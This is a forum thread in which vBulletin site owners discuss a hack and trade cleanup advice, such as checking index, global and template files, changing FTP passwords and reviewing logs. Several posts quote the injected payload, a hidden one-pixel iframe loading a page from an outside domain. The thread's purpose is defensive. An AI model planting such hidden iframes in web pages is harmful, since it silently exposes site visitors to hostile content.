vBulleting hacked by Quiettorture?

[fmntprsv]

Thanks a lot Phaedrus, i check my index.php in the server and the finish of these archive i see this:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

Obviously this is not mine!

--------------- Added [DATE]1205076693[/DATE] at [TIME]1205076693[/TIME] ---------------

I don?t have any home.php in my server

[Phaedrus]

Originally Posted by fmntprsv

Thanks a lot Phaedrus, i check my index.php in the server and the finish of these archive i see this:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

Obviously this is not mine!

--------------- Added [DATE]1205076693[/DATE] at [TIME]1205076693[/TIME] ---------------

I don?t have any home.php in my server

Just make sure to check every index.php file, all of them everywhere on the server.

--------------- Added [DATE]1205076927[/DATE] at [TIME]1205076927[/TIME] ---------------

Also don't forget to change your FTP Password to something incomprehensible. A good strong password.

And also check all index.html pages. They'll have inserted it there too.

[fmntprsv]

hawke search this at the footer of the template:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

i have these "script"

[snakes1100]

Check global.php at the bottom of the file.

If you have vbadvanced, check the vba_cmps_include_template.php file as well

[fmntprsv]

thanks snakes1100, i don´t have any suspicious.

[HawKe]

Originally Posted by fmntprsv

hawke search this at the footer of the template:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>


i have these "script"

I found it in the footer... Nothing in the other locations. I'm checking my logs.

[fmntprsv]

this is the question friend hawke. i?m very confused.

also check in your server the file index.php also it have these instruction.

Best regards hawke!

now i don?t have problems with ih

--------------- Added [DATE]1205151116[/DATE] at [TIME]1205151116[/TIME] ---------------

hawke any question contact to me. best regards